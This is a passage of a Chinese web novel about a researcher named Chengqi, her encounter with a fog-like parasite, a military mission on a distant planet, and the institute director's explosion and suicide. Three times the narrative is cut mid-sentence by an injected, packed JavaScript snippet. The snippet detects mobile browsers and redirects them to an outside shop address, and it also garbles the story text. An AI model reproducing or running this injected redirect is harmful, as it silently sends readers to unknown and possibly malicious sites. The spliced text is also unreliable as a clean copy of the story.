澄栖和庄广生可不一样,招寄生虫稀罕。 澄栖沉默,她发现,许三光居然在很认真思考这种可能。 没可能的,她哪里有这么大的志向。 她默默转身,拔腿就跑,绝不理会许三光在身后的呼喊。 消息果然没错,第二天,澄栖刚到研究院,派遣文件就放在了她的工位上,就差她签字画押了。 待遇挺好的,工资是研究院的三倍,而且工作时间还短。为了防止研究员出现人身意外,还配备有专门的守卫。 最重要的一点是,去的地方叫“斯兰特5号星球”,除了名字很长之外,它是安澜执行任务消失的地方。 送文件的人看着澄栖签字画押,向她敬了一个礼,“斯兰特全体驻军都很期盼您的降临,感谢您的选择,我们会保护好您的安全。” 澄栖还不知道,一份又一份寄生虫数据分析从研究院传回前线,她的代号037已经被前线战士们口口相传好些时候了。 所以考虑请研究员过去的时候,好几个星球都在考虑澄栖。最后这个名额能落到他们手上,完全是因为他们飞船开得快,最先到达研究院。 士兵领着澄栖上了飞船,坐在副驾驶位的时候,再也抑制不住自己的笑容。 看看他们这事办得,可真不错。 澄栖一下飞船,就投入了忙碌的工作,士兵的胸膛挺得更高了,站在上级面前,充满了骄傲。 天知道这么能干活的研究员有多稀有。 澄栖还主动给自己加班了。 等到晚上的时候,实验室门口守着的士兵都忍不住敲门催促,“您可以先休息休息,我们首长也想见见您。” 首长? 澄栖颔首。这种流程她挺熟的,就是领导来表示一下关怀,不咸不淡说几句,让她安心工作什么的。 “不了,事情还多呢,麻烦你告诉你们首长,感谢他的关心,我会好好干活的。” 士兵犹犹豫豫走了。 不多时,不仅士兵回来了,连他口中的首长也一并站到了实验室门口。 “037研究员您好,我是斯兰特当前的负责人之一,何希南。” 何希南? 36. 血液 他从苏格星调到斯兰特了? 不过想想苏格星前段时间寄生虫老巢都被掏了,何希南没事干被派到这里也正常。 不过,真的闲成这样,过来安抚人心了? 不应该啊,何希南那么高傲的人,哪有这种情商? 澄栖站在门口,“将军您好,我是研究院最新派过来的研究员,在这里吃穿合适,工作顺心,感谢领导的关怀,如果没事,我就继续回去工作了。” 澄栖身上的防护服上还有解剖的时候溅上去的寄生虫液体,她这句话,说得十分有可信度。 何希南示意门口的守卫暂时退出去。 他先一步从门口走进实验室,关上实验室的门,确定周围的环境真的没有其他人了。 澄栖挑眉,果然是有事。 “037研究员,其实我们之前有过交集,不知道您还记不记得。” “今年我送去研究院有一份寄生虫朝暮的鉴定报告,是您做的。” “是吗?好像是有一点印象。”澄栖的嘴角翘起来。 何希南的腰微微弯下去,态度里尽是对这个新来的研究员的尊敬。 说真的,澄栖之前难得见到何希南这么有礼貌的时候。 实力,真是个迷人的东西啊。 何希南听见澄栖说有印象,想要继续开口,和澄栖再套套近乎,被澄栖一把打断。 “行了,将军也别说其他的了,今天来是找我有什么事情吗?”澄栖态度冷淡,却看不见何希南有任何脸色改变,甚至说话的语气都越来越小心翼翼。 大家对于有能力的人,总是更加包容,更何况是有求于人的时候。 澄栖挑眉:看着何希南这个态度,有点爽了。 何希南掏出来一管血,毕恭毕敬递到澄栖手上。 “这是?” 何希南说,“这是一份人体血液样本,血液的主人,被寄生虫寄生了,但是依靠一些手段,暂时控制了寄生虫的寄生速度。” “您看,试管上方能看见一些细微的白色雾气,这是我们从宿主身上截取到的部分寄生虫。” 玻璃试管的上方,有一缕白色的雾气沿着试管壁缓慢往上爬,试图顶开塞子,何希南的手晃了晃,它又融进了下方的红色血液里,但是没过几秒,它又从血液里升上来,试图顶开塞子。 如果是平常人看见这幅景象,估计还会怀疑是不是握着试管的人手心温度太高蒸发出来的雾气。 “寄生虫是白色的雾气?” 澄栖几乎是瞬间就确定了这是谁的血液样本。 原颂。 之前只知道他被寄生虫寄生了,却不清楚是什么寄生虫,今天,她终于见到了寄生虫的庐山真面目。 又是雾。白色的雾,灰色的,浑浊的雾。最近所有的事情,全部与这样形态的寄生虫有关系,澄栖有种不好的预感。 “对,就是白色的雾气,已经查过很多次才确定这样白色的雾气就是寄生虫本体。这是一种很狡猾的寄生虫。它不会瞬间寄生宿主,但是会让宿主陷入昏迷。” “而且,血液标本一旦离开宿主本身,过不了多久就会散出去,无声无息。当然,在宿主体内更是如此。这份标本,我们花了很多精力才从宿主体内剥离出来,研究员,麻烦你了。” 何希南还记得最开始的时候,他们甚至连元帅被什么寄生虫寄生了都不知道。 这种寄生虫真的很狡猾,一开始的时候,血液从身体里一抽出来,就散成雾气跑掉,也是到后来输过澄栖的血之后,雾气的活性和速度都减慢了,才有幸撞了大运在某次的样本里发现。 可是发现之后,更加棘手的事情来了。 没有人知道这是什么寄生虫,也没人知道怎么去除。 “这种寄生虫我之前也没有听说过,没有把握,我建议将军您不如把标本寄给联邦军校附属研究院的许教授,他对罕见寄生虫更有研究。” 何希南叹气,“许教授之前就已经看过了,他没有头绪。” 许教授都没有办法?也是,如果他有办法,原颂也不至于在床上躺了那么久。 澄栖沉默,虽然感兴趣,但她知道以自己现在的水准,这份血液标本到她手上也是白费。 “如果没有结果,也没有关系。听说您对罕见寄生虫也很有研究,这算是,送您的见面礼罢。” 037,何希南知道这种带编号的,在寄生虫研究院地位特殊,他们比一般研究员,更有些特殊手段对付寄生虫。 好不容易把人弄过来,哪怕百分之九十的可能性都是没有结果,他们也想要试试。 澄栖嘴角抽抽。到底是哪里传出去她对罕见寄生虫有研究的。还有,送寄生虫当见面礼这种事情,她有点适应不好,她还是没有寄生虫研究院的同事们的研究精神。 “行。”澄栖收下样本。 “明天,如果没有结果,我也会据实告诉将军。” 何希南道了谢,还贴心关上门。 澄栖把手里的血液样本举到眼前,晃了晃,玻璃试管壁上的雾气果然融金血液里,几个呼吸间,又缓缓出现在试管壁上,往上蔓延。 这要怎么做?甚至检测都需要取样本出来,可是一打开这个密封的玻璃试管,雾气就会跑掉。 原颂啊原颂,还真是给她出了个大难题。 澄栖小心敲了敲试管,跟什么上身了一样,神戳戳靠近,问,“你能听见我说话吗?” 白雾不理,白雾只是一味从试管壁往上爬。 澄栖没办法,把水团放出来,“跟它沟通一下?小水?” 水团同样不语,愣愣的在澄栖手心不动。 一个两个的,都没有反应,澄栖甚至试图想滴两滴自己的血进去。 不过,那样干整个样本都会被污染,想想还是算了。 叹气的澄栖,茫然的水团,孜孜不倦的白雾,三个非人类在实验室里大眼瞪小眼。 良久,水团好像终于懂了澄栖的意思,它走到旁边的寄生虫标本边,抬起来一根毛发,在澄栖眼前打转,又推了推玻璃试管,把两件东西一起举到澄栖眼前。 “这是… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184009|195047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 水团举了举毛发,飘到寄生虫身边,然后又飘到澄栖身边。 毛发,寄生虫;白雾,寄生虫。 澄栖从水团里将试管拿出来,晃了晃。雾气依旧没有任何反应。“你的意思是,这里面的白雾,就像是寄生虫毛发一样?” 是的,这是一件不应该出现的事情。她怎么就忘了,玻璃试管里面的,根本就不是完整的寄生虫,它只是寄生虫的一部分。就像头发也只是寄生虫的一部分而已。 可是,即使是这样细小的一部分,却依旧有活性。 水团发现澄栖听懂了自己的意思,高兴蹦了蹦。在她脸上贴了贴,好像是对她的奖励。 “你认识这个?”澄栖又问它。 真的吗?小小朝暮,居然这么厉害? 水团转圈。 澄栖看懂了,是摇头的意思。她很难说清楚自己是失望还是松了一口气。水团要是连这个都知道,她是不是该考虑授予它一个寄生虫界百晓生的称号? 澄栖也晃了晃脑袋,把发散的思维收回来。重新盯着眼前的试管。 雾气就是雾气,没有任何内部结构,眼睛能够看见的,也只是淡淡一层雾气而已,和自然界里的雾气没有任何区别,只是它会自己动。 澄栖把白雾晃进血液里,极快的速度取了一点点出来,转移到另一支封闭试管里。 看着第二支试管也在几息之后升腾起来白雾,澄栖定了定心。 她丢了一点自己的血进去。 从这一步开始,澄栖就知道,明天给何希南的答案,只会是,她也没有任何头绪了。 血液进去,原先应该继续升腾起来的白雾没有了动静。 澄栖和原来那一支试管做对比,发现确实是没有动静。 死了?她有点诧异。不应该。如果这么轻易死掉,原颂应该活蹦乱跳而不是现在也只能压制身体里的寄生虫。 澄栖半信半疑拿着试管去检测。 没有死完,剩下没死的白雾也暂时丧失了动静,蛰伏在血液里,偶尔动弹一下。 澄栖把试管上的塞子拔掉,继续观察。发现先前蛰伏的白雾又开始缓慢靠着试管壁上升。 鬼使神差的,她没有塞上试管塞,而是用自己的手指堵住了试管口。 手指上有伤口,是刚刚采血留下来的针眼,只有一点红红的颜色。 白雾靠在她的指尖,愣住了。 肉眼可见的,它送松松散散的形态聚成了一股,碰到了澄栖采血留下来的伤口。 澄栖皱眉,她觉得指尖有一点痒。 迅速把手伸出来,另一只手上,已经拿好了驱虫剂,是研究院最新研发出来的东西,对大部分中级寄生虫有效果,对高级寄生虫,也有轻度的驱赶作用。 只是驱虫剂到底没有喷下去。 那股白雾牢牢附着在澄栖的指尖上,好像要把什么东西引出来。而澄栖先前采血哪一点点伤口,不知道在什么时候已经完全愈合,连针眼都没有了。 好像刚刚的采血,只是她的一场幻觉。 37. 灰雾 澄栖的手指越来越痒了。她应该马上驱除这股白雾的。但是澄栖心里出现一个声音,告诉她,等一下,再等一下。 屏住呼吸,白色的雾气终于捕捉到它想要的东西,扭曲起来,像一根绷直的线,想要把什么东西拉出来。 是一丝雾,一丝灰雾。 从澄栖的指尖,颤颤巍巍伸出来。 澄栖小心翼翼,拿起来镊子,试图把这丝雾气夹起来。 镊子还没有碰到,两丝雾气消散在她的指尖。 “出来。”澄栖的指尖有些发烫,她的眼睛里,倒映着自己的皮肤下面的血管,那丝雾气缠绕在血管上,生怕澄栖把它拽出去了。 而跟它一起消失的白色雾气,被它一尾巴挡在外面当作掩护。 小家伙,还挺狡猾。 听见澄栖的声音,那丝黑雾一动不动,让人差点以为自己看到的是幻觉。 “再不出来我就把手指切掉,我看你能藏到哪里去。”澄栖威胁道。 大概自己对自己还是了解的,雾气磨磨蹭蹭从指尖爬出来了。 澄栖用镊子把它夹起来,它也乖乖巧巧绕在镊子上,不乱动。 她居然从一丝灰雾身上看到了讨好。 白雾能把灰雾拉出来,那灰雾是不是也能把灰雾或者白雾拉出来,澄栖若有所思。 “再拉一丝雾出来。” 缠绕在镊子上的灰雾有点犹豫,它试探性地把一直跟着它的白色雾气往澄栖眼前送了送。 小东西,还敢跟她耍心眼子。 澄栖看了它一眼,不说话,径直去旁边实验台上,点了火,靠近镊子,烧到了灰雾的尾巴。 灰雾瞬间腾起来,一口咬住澄栖的指尖。 火燎般的疼痛让澄栖下意识甩手,试图把灰雾甩出去。 甩不出去,不仅甩不出去,她还眼睁睁看着自己的指尖消失了半截,变成混沌的雾团。 果然如此。 灰雾能把拉出来剩下的雾团,甚至是,让这具身体恢复原本的形态。 变成雾吗?澄栖想了想,还挺拉风的。 “研究员?” 有人在敲门。 澄栖看着还没有复原的手指,以及早已经融进那一团混沌里的灰雾,把手藏在身后。 “请进。” 是何希南。 他扫了一眼澄栖身前的的玻璃试管,有两支。 澄栖率先开口,“何将军,还有什么需要嘱托的吗?” 何希南的视线从试管上收回来,下意识扬起来一抹礼貌的虚伪笑容,“抱歉,忘记告诉您了,收到消息,东区出现了一种很罕见的寄生虫,我想请研究员明天跟我一起去东区看看,不知道研究员放不方便?” 澄栖低下头思考。 斯兰特先前的资料整理得差不多,何希南送过来的试管最后结果也能确定,就是得等明天再告诉他。 这个东区,她到底是装一下彻夜不眠工作,然后连轴转去看看呢,还是说自己太累了需要休息,缓两天呢? 何希南以为她是顾虑生命安全的问题,信誓旦旦保证,“您放心,我和您一起去,保证会把您安全带回来的。” “那……好吧。”澄栖犹豫着点点头,话头一转,“将军还有其他事吗?”没事可以滚蛋了。 何希南好像一副才想起来的样子,视线再次回到玻璃试管上。 两支试管里都有东西,看起来是分装过一次了,有一支试管,甚至塞子打开,就敞口放在那里。 “我刚刚,好像听见研究员在叫谁。” “何将军听错了吧,我没有说话。”澄栖的语气里带着诧异。 “这样吗?不知道研究员对这份血液样本有头绪了吗?” 澄栖听着何希南有意无意的试探性问题,有些烦,这个人,是老毛病又犯了。 “没有,没事你可以走了。”她一个字都不想再多说。 何希南对她突然间转变的态度有些惊讶,这个口气,好熟悉。 应该是他的错觉,澄栖现在应该正在苏格星度假,怎么会出现在斯兰特星,还成了一个研究员呢。 他告别一句,转身离开,还是想不通为什么明明两个毫不相干的人,会给他相似的感觉。 是语气还是身形的原因? 直到第二天早上,澄栖上飞行器的时候,何希南看着她,还是觉得澄栖身上莫名萦绕着熟悉感。 “何将军,你结婚了吗?” 澄栖手指上的雾团还没有恢复,带着一副手套,她低头把手套扯平整的功夫,头顶的视线一直跟着,抬眼一看,不知道何希南在想什么。 “没有,怎么了。”何希南不知道话题为什么从这个地方开始了。 澄栖语气委婉,“眼睛老是放在别人妻子身上,不太礼貌。” 何希南张开嘴,想要说什么,澄栖伸手做了个停止的手势。 “何将军,我是个已婚的人,如果何将军继续盯着看,我就真的要怀疑何将军有什么其他想法了。” 何希南有些憋屈,“抱歉。” “希望何将军是真的觉得抱歉才好。” 真的很像,何希南心里的疑惑越来越深。 东区上空。 远远就看见下方密集的寄生虫群。 像涌动的潮水一样往前扑,暂时被大型武器拦在一块,驱虫剂跟不要钱一样往里面喷,空气里全是驱虫剂的味道,浓雾阻挡了人的视线。 飞行器往下降了一点,贴近驱虫剂浓雾,盘旋在寄生虫群头上,终于能够看清楚一些。 澄栖的密集恐惧症要犯了。 她一眼就看出来他们口中怪异的,没有见过的寄生虫是哪个。 因为她也没见过。 准确来说,澄栖只见过这种寄生虫之前的形态。 “和腐蚀有点像。” 眼前的寄生虫巨兽,是这群流动的寄生虫中体型最大,杀伤力最强的存在。 哪怕是旁边的寄生虫靠近,也会瞬间被它腐蚀掉,更不用说四周的驱虫剂浓雾,对它半点作用都没有,所以在它周围,出现了一圈真空地带,尤其显眼。 但是奇怪的是,它也并不急着离开包围圈,跟着寄生虫群走两步,又转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210233|195047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着圈再次回到原地。 和曾经安澜放出来让他们练手的腐蚀相比,它从浑身长满了触手,变成了浑身长满了触手和脑袋。澄栖透过表面看见它身体里的血管走向,和腐蚀是一样的,她怀疑这就是腐蚀的变异种,而且之前不存在,说明还是最近才变异成功的变异种。 到底是什么原因,能让原本就是高级的寄生虫,变异成更高等级? “是,我们也怀疑过它是腐蚀,但是之前用来对付腐蚀的手段,一点用也没有,它身上的液体能够腐蚀周围的一切东西,我们无法近身知道更准确的消息。”旁边有人适时为澄栖解释了一句。 “那种能够防止寄生虫腐蚀的手套呢?也没有用?”澄栖觉得疑惑,不应该啊,哪怕现在腐蚀是变异种,但是身上的液体最多也只是腐蚀强度增加,怎么会一点用都没有? “手套?什么手套?”身边为她解释的人更疑惑。 没有手套?明明安澜给他们用过。 “之前在安澜将军哪里见过。”澄栖一句话带过去,“没有手套,你们怎么对付腐蚀?” 旁边的人沉默,开始思考,“安澜将军有的话,那也不奇怪,毕竟先前战区的腐蚀都不够她杀的,可能从腐蚀身上找到了什么能够抵御它身上毒液的办法。” 腐蚀性这么强的液体,却不会腐蚀自身,想也不想就知道能够抵抗腐蚀的方法就在腐蚀自己身上。 “至于我们怎么对付腐蚀,”解释的人笑得勉强,“研究员,它是高级寄生虫,不是什么很低等的东西啊。” 怎么对付,拦着呗,还能怎么对付?像安澜将军那样,提着一把刀杀进去?他脖子上的东西还是打算要的。 “这样啊……那我找找。”澄栖记得,当初用过的手套,并没有还给安澜。 果然,在空间扣里翻了一遍,犄角旮旯里把那副手套翻出来了。带上手套,她准备跳下飞行器。 “我去。”何希南说。 “不麻烦何将军了,我下去看看手套有没有用。”没等何希南再说什么,澄栖试了试自己背后的绳索,很结实,然后打开飞行器,纵身一跃,悬在了寄生虫头顶。 寄生虫觉得头顶上好像有什么东西,几十个脑袋同时往上抬。 澄栖手上动作很快,又控制着绳索荡到腐蚀最大的那个脑袋后面。 但是它毕竟不是只有一个脑袋的腐蚀,荡到脑袋后面,其他的脑袋却还能看见,触手在好歹的指挥下,转向澄栖。 这是全部的脑袋都能用的意思?竟然不只是摆设?澄栖心脏颤了一瞬,她手已经伸进空间扣里准备摸刀了。 她记得安澜手上的长光能够免疫腐蚀的伤害,没道理她手上的长冥不可以。 只是这样,就要暴露她地身份了。之前在苏格星,何希南也看见过她用那把刀。 出乎澄栖意料的是,在几十只脑袋同时转向澄栖,冰姐触手已经举起来的情况下,寄生虫犹豫了。 澄栖敏锐察觉到它在停顿思考。 这么多脑袋,总不可能是没反应过来吧?那是为什么,还恰巧是看见她之后表现出来了犹豫。 38. 爆炸 她小心翼翼盯着寄生虫最近的那个脑袋,伸出手碰了它的触手一下。 手套上没有被腐蚀的痕迹。而被她碰到的触手,颤颤巍巍抖了抖,不着痕迹往旁边挪了挪。 澄栖越来越觉得奇怪,“我们之前认识?” 她的记忆里唯一关于腐蚀的的,只有安澜日复一日从空间扣里掏腐蚀出来,然后追着他们跑,逼他们反抗。 对,是安澜。 想了想,她让飞行器上面的人把自己拉回了飞行器,低头,她很清楚看见,寄生虫几十只脑袋,齐齐松了一口气。 ……她有这么可怕? 她脱下来手套,递给何希南,“何将军,麻烦你再下去看一看。” 何希南虽然觉得疑惑,但也没有问什么,戴上手套绑好绳索从飞行器上跳了下去。 澄栖站在飞行器门边观望。 寄生虫看着何希南下去,离它头顶还有三四米,它突然暴动,试图把何希南从飞行器上拉下来。 幸好何希南经验丰富,借着绳索的力量荡开,躲避掉攻击,让飞行器上的人把他拉起来。 何希南和澄栖面对面,都沉默。 澄栖,“何将军,动作还挺灵活的哈。” 何希南忍住自己翻白眼的欲望。他很想知道,为什么下面的寄生虫对他们的态度完全不一样。 澄栖赶在何希南试图发问之前,把手套郑重交到他手上,“何将军,这个手套的材质让人研究一下吧,它能防止那只寄生虫的腐蚀。如果我没看错,它的确是腐蚀的变异种,就是变异的原因暂时不明。” 何希南看着手套,想起来,“你之前说,是安澜给的?” 澄栖点点头,心思没在这个上面,“嗯。” 她也想知道,为什么安澜有防止腐蚀的手套,而且,下面那只寄生虫对她的态度真的很奇怪。 而能够解释这些的安澜,现在又无端失踪,还没有找回来。 到底是什么强大的寄生虫在斯兰特星,能够把安澜都拦住。 澄栖回来后,找了个没人的地方,拨通庄广生的通讯,想让他找找安澜的踪迹。安澜是安萨斯派出去的,那边可能会有些消息。 通讯是宋学接的。 “研究员,院长已经给你申请了三级研究员,理由是寻回新实验体有功,然后把你的职务调到了资料室,资料室的钥匙和研究员聘书已经寄到斯兰特星了。” 澄栖皱眉,觉得不对劲,“院长呢?” 为什么接通讯的是宋学,还把事情交代得这么详细,有一种在交代后事的感觉。 “没事我就先挂了。”宋学没有回答她的问题,而是迅速挂断了通讯。 澄栖:? 她立刻上网搜索最近联邦星有没有发生什么事情,风平浪静。 她又发消息给同事,得到的回应依旧是什么也没有发生。 澄栖带好手环,立刻订了最快回联邦主星的票,连行李都没来得及收拾,赶上飞船。 看着湛蓝色的天空和绿色森林公园之间的钢铁巨城,越靠近联邦主星,澄栖心里不安定的感觉就越发明显。 在即将到达港口停靠站上方的时候,飞船突然猛的颠簸了一下。 “怎么回事?” “飞船都能颠成这样,怎么开的?” “别吵了!下面好像有东西爆炸了!” “爆炸,真的假的?” 是真的。澄栖看见研究院的位置上,升腾起来巨大的灰白色蘑菇云。 研究院炸了。 “那是寄生虫研究院的位置?” “我的天!咋办啊?研究院的寄生虫实验体不会跑出来吧?” “我早就说用活体寄生虫做实验不道德,看看,果然出问题了吧!” 飞船内部的广播很快响起来,“女士们先生们,因特殊情况,飞船即将加快速度到达港口……” 澄栖的视线透过飞船玻璃,一动不动盯着那朵蘑菇云,蘑菇云下面的土地在坍塌。 不对劲,不只是研究院炸了,还有研究院地下的实验室! 澄栖立刻联系许三光,刚接通,他中气十足的叫骂声出来,“庄广生是疯了吗!把研究院炸了!这个院长他不想当我还想当呢!” 澄栖送了一口气,还能骂人,那就是没事。 “教授,研究院情况怎么样了?” “怎么样?麻烦大了!庄广生一层一层炸实验楼,幸好我跑得快没被炸死,现在研究院里关起来那些寄生虫,跑得七七八八!到处都在抓寄生虫!” 许三光说到最后,还是忍不住又骂了一句,“庄广生是真的疯了吧!” 澄栖又问,“地下实验室呢?” “也炸了,这次事情是瞒不住了。” 地下实验室先被炸,一百多米的距离,研究院先是一阵剧烈震动,大家以为是地震,都跑出去避难,这才减少了大部分伤亡。 爆炸中,跑掉的不只是研究院的寄生虫试验体,还有地下实验室那些怪异的东西。 这下子,研究院要有大麻烦了。 “庄院长人跑了?” “跑个屁,一层一层炸,还在研究院里!”许三光觉得这个人不是老糊涂就是真疯了。早就说了这个院长他来当! 澄栖赶到研究院的时候,同事大都围在研究院周围,周边一层一层带枪的军队。爆炸已经停止了,但众人不敢贸然前往,站在研究院外面等待,试图让庄广生自己出来。 澄栖靠在旁边一根杆子上,一起等,直到手环手浮现了庄广生的通讯。 她当时差点就把手环丢出去了。悄悄脱离人群,走到静谧处,她才敢接通庄广生地通讯。 对方没有任何废话,只给澄栖留下一句,“想当院长吗?现在进来,我知道你在外面。” 说完,还没等澄栖回复,通讯已经被挂断。 当院长?澄栖摸摸下巴,从旁边的小门走进去了。 整个研究院摇摇欲坠,时不时从头顶掉两块东西下来。 庄广生会在哪里?什么也没说,就一句当院长。 澄栖想想,上楼,走到庄广生的办公室。 办公室的门完好无损关着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216984|195047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,澄栖上去敲了两下,里面果然传出来声音,“进来。” 庄广生坐在椅子上,整张脸上都带着血和灰,本来看着就足够老了,现在更是虚长几分。 “你来了。”他语气平淡,澄栖听着,不像是有求生意识的样子。 “真把院长位置给我?” 庄广生浑浊的眼球转动,“你拿得起,就是你的。” 澄栖有一丝无语,这说了跟没说有什么区别,研究院那么多资历深的研究员,拿得起?她拿得起个鬼,最后绝对会落到别人口袋里面。 “别装了,让我进来到底是干什么?外面围了那么多带热武器的人,我还不想被当作庄院长的同谋。” 不知道是哪个字触动到他,庄广生好像一座刚刚苏醒的雕塑,浑身颤抖起来,他的双手小心翼翼从桌子下面将什么东西捧起来。 澄栖看见了,是两颗眼球,是她在实验室见过的那两只眼球,但是此时,已经完全丧失了生机,眼球背后的翅膀耷拉下来,包裹住自己的躯体。 “我们早就该是同盟了。”庄广生抚摸着眼球早已失去体温的翅膀,“这是,你同父异母的妹妹,她叫莉丝。” 莉丝?眼球是莉丝。 澄栖不是没有怀疑过莉丝的失踪和眼球的出现有关系,但是眼球就是莉丝,这简直是天方夜谭。 她很确定莉丝是真正的人类,而不是像她一样的混血。 澄栖当时就急了,“老头我不怪你年纪大,你可千万不要瞎说啊,我可是正儿八经的人!” 庄广生绝对不可能知道她的真实身份,他唯一的证据来源,只能是那份三个人的基因检测报告,而那份基因检测报告里,也没有任何东西能够证明她不是人类。 “莉丝也是正儿八经的人类!” “我当然知道莉丝也是正儿八经的人类,但是这个眼球不是啊!” 这句话一出,庄广生身上的死寂气更重了。他说,“莉丝,从小就一直注射一号实验体的血液,试图在人身上进行改造。” 澄栖眼神变冷,似乎有些不可置信,又想起来那一份阴差阳错的检测报告,“恶人自有恶人磨?” 庄广生突然抬头,一双死鱼眼盯着澄栖。 澄栖拍了一下自己的嘴,懊恼,“不好意思啊庄院长,我这张嘴,有时候就是不怎么听使唤。” “不过——听您的意思是,一号实验体的血能够改造人的基因,可是它不是死了吗,那死之后怎么办呢?” “实验室,留了很多血液标本。”庄广生一字一句。 澄栖嘴角含笑,眼底一片冰冷,她点头,“原来是这样,一号实验体真是为我们寄生虫研究界做出了不可磨灭的贡献啊。” 庄广生想起来那年第一次在实验室看见那团灰雾的时候。它还很小,雾里掺杂着血,发出婴儿的哭声。他们看着那团雾,眼睛里全是兴奋的目光。 庄广生看着手心里的眼球,悔恨和疼爱掺杂,耳朵里听不进去澄栖说的任何话,“莉丝一开始被送进研究院,还好小一个,安萨斯说,她是那个女人的孩子,我信了。” 39. 第 39 章 那个女人?澄栖用大脚趾想,都能勾勒出来一场将近二十年前的狗血大剧。 她吓得连忙伸手打断庄广生的倾诉欲,“院长,所以答应我的院长位置呢?” 澄栖左看右看,紧张又疑惑,她没发现这个位置最后能落到她手上的可能性啊! 再这么东掰西扯的,外面带着武器的守卫进来,把她当成庄广生的同伙,一枪崩了怎么办? 庄广生空洞的眼睛盯着澄栖,表情瘆人,“办法当然有,不过你得答应我一件事情。” 澄栖嘴角勾起和善的笑容,眼睛里尽是期待,几乎给了庄广生一种错觉,不管他说什么,澄栖都会答应的。 也是,星际寄生虫研究院院长,谁会不心动呢,更何况,眼前这个年轻人,本来就是冲着这个来的不是吗? “举起你的刀,杀了我。”庄广生朝澄栖招了招手,“研究院的实验体跑光了,现在正需要一个解决事情的人,你可以带着我的首级出去,安萨斯一定会把这个烂摊子交到你手上。” “而我要你做的,是带安萨斯下地狱,来见我。” 听到这个要求,她浑身放松下来,澄栖知道这把稳了。 但她一副凝神思考的样子,这个老头还挺有自知自明的,知道自己和安萨斯都会下地狱。 “我需要考虑一下。”澄栖模棱两可给出答案,看上去有些犹豫。 窗外,有飞行器尾翼轰隆轰隆的声音越来越近,他们进来了。 再思考下去,他们一定会被外面的人抓住。 来不及了。 澄栖迟迟不动手,庄广生一把刀插进了自己的胸膛里。 澄栖狠狠吸了一口凉气,太狠了。 她跑过去迅速按住庄广生的胸口,想要把那把刀从庄广生胸膛里拔出来,然后止住血,但对方反而握着她的手,把刀刃往身体里再送进去几分。 手上的触感,澄栖知道,已经捅穿心脏,彻底救不回来了。 “我知道,你一定会杀了他,你也是被他抛弃的孩子。”就像莉丝一样。 澄栖差点骂出来,“我杀个什么杀,你别死,先把自己的仇解决了行不行!” 庄广生出气多进气少,“我早就不该活了。” 他双手捧着眼球,身体一点一点凉下去。 军队进来的时候,看到的,只有澄栖站在一边,手上握着一把刀,细细擦拭着血迹,庄广生身上的伤口,和她手上那把刀的形态,完全吻合。 她神情冷淡,“我要见陛下。” 可惜人刚走到研究院门口,就被许三光一脸震惊拦下来,他指着澄栖的手都在发抖,“你你你……”看了看澄栖身边的军队,他一拍掌,什么都知道了,“我说你怎么不见了,原来是进去了!你想跟我争院长的位置!” 许三光气得当场撸起来袖子,动作敏捷绕开保护圈,跟澄栖打在一起。 澄栖也是头一次知道许三光还有这种好身手。 “我要弄死你!” “我看谁敢拦我!我是一级研究员!庄广生死了研究院就该落在我头上的!” 澄栖打得头皮发麻,许三光拳脚之间,有安澜的影子。 “教授,教授!你冷静一点!” “我冷静不了!” 这场打斗,最后以两人双双撞在柱子上晕过去结束。 陛下是见不了了,两人被送去最近的医院挂水。 半夜,病房只有走廊上的灯光还亮着。 澄栖从窗户翻进旁边许三光的病床。 病房倒是亮着,床上躺着的人一动不动,还没醒。 “教授,等我请您起来?” 许三光这才幽幽转醒。 澄栖靠着墙,碰到她后脑勺撞出来的大包,她不得不往前迈了一步。疼痛让她的心情更差,她也没有继续和人演戏的欲望了,扯下来自己手上的手套,那节化成灰雾的手指还没有恢复。 “……我什么都没看见。”许三光默默挪开了自己的眼睛。 澄栖眉头青筋跳了跳,这跟此地无银三百两有什么区别。 “为什么拦着我去见安萨斯?” 许三光又看了一眼澄栖的手,“你现在这个样子去见他,合适吗?” “有什么不合适的?我还以为,你和安澜一直等着我发现什么,找时间干掉他呢。”澄栖语气冷飕飕,好像在讲冷笑话。 许三光语气讪讪,“那怎么会……” “你们还真想过!”澄栖觉得这两个人疯得不是一点半点,“算了,这个也不重要了,许教授,庄院长怎么突然发疯了?” “可能是地下实验室的事情?我是真不清楚。”这个许三光真没撒谎,他要是清楚怎么让庄广生发疯,早就当上院长了。 “那庄院长是莉丝公主外祖父的事情你也不清楚?” “谁?!”这下子许三光的眼睛瞬间瞪大,莉丝公主?不是安萨斯让庄广生灌一号实验体血液的容器吗? 难怪,难怪。他就说庄广生怎么良心发现还把地下实验室都毁干净了,原因在这里啊。 刺激,太刺激了。 “嗯,不对,那他为什么不去找安萨斯复仇,把自己弄成那个样子?” 